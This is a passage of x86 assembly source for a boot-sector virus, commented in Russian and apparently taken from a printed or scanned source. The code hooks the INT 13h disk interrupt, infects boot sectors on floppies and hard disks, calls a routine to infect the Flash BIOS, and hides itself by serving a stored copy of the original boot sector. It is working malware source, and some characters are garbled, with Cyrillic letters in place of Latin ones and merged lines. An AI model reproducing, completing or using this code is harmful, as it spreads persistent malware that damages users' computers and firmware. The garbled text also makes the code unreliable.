; root directory и передаем ему управление
xor ах, ах
call int13h
; Готовим регистры для загрузки оригинального boot-сектора
хог ах, ах
mov es, ax
; Сегмент для загрузки
mov bx, 7C00h
; Смещение для загрузки
mov cx, 0002h
; Дорожка 0, сектор 2
xor dh, dh
; Головка 0
mov ax, 0201h ;
Функция 2, количество секторов 1
; Проверяем загрузочный диск. 80h и выше – это адрес жесткого диска,
; иначе – дискета. Копию оригинального boot-сектора храним :
; на жестком диске – дорожка 0, головка 0, сектор 2;
; на дискете – дорожка 0, головка 1, сектор 14
cmp dl, 80h
jae MBR_Loader
; Грузимся с дискеты: изменим сектор и головку
mov с1, 14 ; Сектор 14
mov dh, 1 ; Головка 1
; 3агрузим оригинальный boot-сектор по адресу 0000h:7C00h
MBR_Loader:
call int13h
; Сохраняем в стеке номер диска, с которого грузимся
push dx
; Проверяем, заражен ли Flash BIOS
cmp byte ptr cs:flash_done, 1
je Flash_resident
; Инфицируем Flash BIOS
call flash_BIOS
; Восстанавливаем из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
; 3апускаем оригинальный boot-сектор (JMP FAR 0000h:7C00h)
db 0EAh
dw 7C00h
dw 0
;Скрываем присутствие вируса методом чтения оригинального boot-сектора
Stealth:
; Останавливаем значения сектора, где хранится копия оригинального
; boot-сектора
mov cx, 02h
mov ax, 0201h
; Проверяем, откуда считан boot-сектор (дискета или жесткий диск),
; так как копии хранятся в разных местах
cmp dl, 80h
jae hd_stealth
mov cl, 14
mov dh, 1 hd_stealth:
; Читаем копию оригинального boot-сектора
call int13h
; Выходим из обработчика прерывания
jmp pop_exit
; Проверяем наличие резидентного вируса
restest:
xchgah, al
iret
; Обработчик прерывания INT 13h
Handler:
cmp ax, 0ABBAh
je restest
; Перехватываем только функцию 02h (чтение сектора): проверяем
; номер функции. Если не 2, запускаем оригинальный обработчик
cmp ah, 2
jne jend
; Проверяем номера дорожки и сектора, интересуясь только теми
; секторами, в которых может оказаться вирус :
; дорожка 0, головка 0, сектор 1
cmp cx, 1
jne jend
; Проверим номер головки. Если не 0, то запустим
; оригинальный обработчик
cmp dh, 0
jne jend
tryinfect:
; Считаем сектор в буфер (для дальнейшей обработки).
; Для этого вызовем оригинальный INT 13h
call int13h
jc jend
; Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру. ;
Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker], 'LV'
je stealth
; Если диск не заражен, то заражаем
cmp dl, 80h